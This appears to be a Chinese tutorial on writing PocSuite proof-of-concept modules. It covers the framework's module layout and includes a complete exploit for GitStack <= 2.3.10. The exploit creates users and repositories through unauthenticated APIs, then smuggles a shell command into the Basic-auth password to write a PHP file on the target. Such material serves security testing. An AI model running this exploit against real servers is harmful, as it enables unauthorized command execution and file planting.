关于 PocSuite

PocSuite是由知道创宇 404 实验室编写的一款基于 python 的开源漏洞利用框架。PocSuite 包含漏洞检测和利用两种模式,可以针对特定漏洞对多个目标进行探测并返回漏洞检测及利用的结果。 使用过程图

PocSuite2

关于 PocSuite2 的编写方法及使用过程中的注意事项

PocSuite2 编写格式

PocSuite 检测模块的构成主要由以下几部分构成: ·python 库的引用模块 ·关于 poc 的介绍信息模块 ·漏洞检测代码模块 ·漏洞利用代码模块 ·返回结果模块

python 库引用模块

from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import requests
import random
import os
import sys
import hashlib
import string
from requests.auth import HTTPBasicAuth

在该模块声明漏洞检测及利用过程中需要使用到的 python 库,其中from pocsuite.api.poc import Output, POCBase 和 from pocsuite.api.poc import register是必须要引用的库

关于 poc 的介绍信息模块

    vulID = 'N/A' #根据seebug提供的漏洞编号进行编写,没有的话可以写N/A
    version = '1.0' #该poc的版本
    author = 'co0ontty' #编写作者
    vulDate = '2019-7-11' #漏洞时间
    createDate = '2019-7-16' #创建poc的时间
    updateDate = '2019-7-16' #更新时间
    references = ['https://xz.gmail.com/t/2235'] #关于该漏洞的参考信息网站
    name = 'GitStack <= 2.3.10 远程命令执行漏洞分析' #漏洞名称
    appPowerLink = 'https://gitstack.com' #存在漏洞的服务的官网
    appName = 'GitStack' #存在漏洞的服务的名称
    appVersion = 'GitStack <= 2.3.10' #存在漏洞的服务的版本
    vulType = '文件上传' #该漏洞的类型(参考seebug官网的漏洞类型分类)
    desc = '''
    该漏洞利用GitStack正常使用过程中调用的接口的未授权访问漏洞,越权读取、创建、修改用户列表、仓库。通过进一步利用实现恶意文件的上传。
    ''' # 漏洞的介绍信息
    samples = []
    install_requires = []

漏洞检测代码模块

def _verify(self):
        result = {}
        target = self.url
        #your verify code
        if 判断条件:
            result['VerifyInfo'] = {} # 标识为成功
            result['VerifyInfo']['URL'] = self.url #返回到结果中的url
            pass
        return self.parse_output(result) # 返回结果

系统会根据用户编写的检测代码对漏洞进行检测,设置判断条件后,如果判断条件为真,则使用result['VerifyInfo'] = {}返回判断结果为真,并且使用result['VerifyInfo']['URL'] = self.url返回向返回结果中输出特定的值。最后程序在运行return self.parse_output(result)结果输出代码的时候,如果存在result['VerifyInfo'] = {}则返回 success,如果不存在则判断为 faild

漏洞利用代码模块

def _attack(self):
    # attack code 

一般情况下会设置检测代码与漏洞利用代码相同:

_attack = _verify

返回结果模块

def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

将漏洞检测模块或者漏洞利用模块的结果输出到屏幕中显示

完整代码分享

GitStack 任意文件上传漏洞

#!/usr/bin/python
# -*- coding: utf-8 -*-
# from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import requests
import random
import os
import sys
import hashlib
import string
from requests.auth import HTTPBasicAuth


class TestPOC(POCBase):
    vulID = 'N/A'
    version = 'GitStack <= 2.3.10'
    author = 'co0ontty'
    vulDate = '2019-7-11'
    createDate = '2019-7-16'
    updateDate = '2018-3-31'
    references = ['https://xz.gmail.com/t/2235']
    name = 'GitStack <= 2.3.10 远程命令执行漏洞分析'
    appPowerLink = 'https://gitstack.com'
    appName = 'GitStack'
    appVersion = 'GitStack <= 2.3.10'
    vulType = '文件上传'
    desc = '''
    该漏洞利用GitStack正常使用过程中调用的接口的未授权访问漏洞,越权读取、创建、修改用户列表、仓库。通过进一步利用实现恶意文件的上传。
    '''
    samples = []
    install_requires = []

    def _verify(self):
        result = {}
        target = self.url
        repository = 'rce'
        username = 'rce'
        password = 'rce'
        csrf_token = 'token'
        user_list = []
        r = requests.get("{}/rest/user/".format(target))
        try:
            user_list = r.json()
            user_list.remove('everyone')
        except:
            pass
        if len(user_list) > 0:
            username = user_list[0]
        else:
            r = requests.post("{}/rest/user/".format(target),data={'username' : username, 'password' : password})
        r = requests.get("{}/rest/repository/".format(target))
        repository_list = r.json()
        if len(repository_list) > 0:
            repository = repository_list[0]['name']
        r = requests.post("{}/rest/repository/".format(target), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
        r = requests.post("{}/rest/repository/{}/user/{}/".format(target, repository, username))
        r = requests.delete("{}/rest/repository/{}/user/{}/".format(target, repository, "everyone"))
        random_file_name = ''.join(random.sample(string.ascii_letters+string.digits,16))+".php"
        random_identify_code = ''.join(random.sample(string.ascii_letters+string.digits,35))
        r = requests.get('{}/web/index.php?p={}.git&a=summary'.format(target, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php echo"'+random_identify_code+'"; ?>" > c:'+random_file_name))
        test_url = target+"/web/"+random_file_name
        r = requests.get(test_url)
        if (r.status_code == 200)&(random_identify_code in r.text):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            pass
        return self.parse_output(result)

    _attack = _verify

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

库的使用

requests 库

pocsuite 中自带经过改装的 req,from pocsuite.api.request import req,pocsuite 中的 req 可以使用随机的 UA

urlparse

使用如下命令时,py 中调用目标的方式时通过 self.url 和 self.target

pocsuite -r portals_urllib.py -u 172.16.5.155:8080

self.url 与 self.target 的区别为:如果 -u 传递的参数没有指定 http 或者 https 的话,self.url 会自动添加 http:// 而 self.target 则不会做任何操作。 使用过程图 不管怎样,self.url 和 self.target 均无法对端口进行识别和操作,所以我们要引入 urlparse 库:

urlparse 库

urlparse.urlparse(分离) urlparse.urlparse urlparse.urljoin(合并) urlparse.urljoin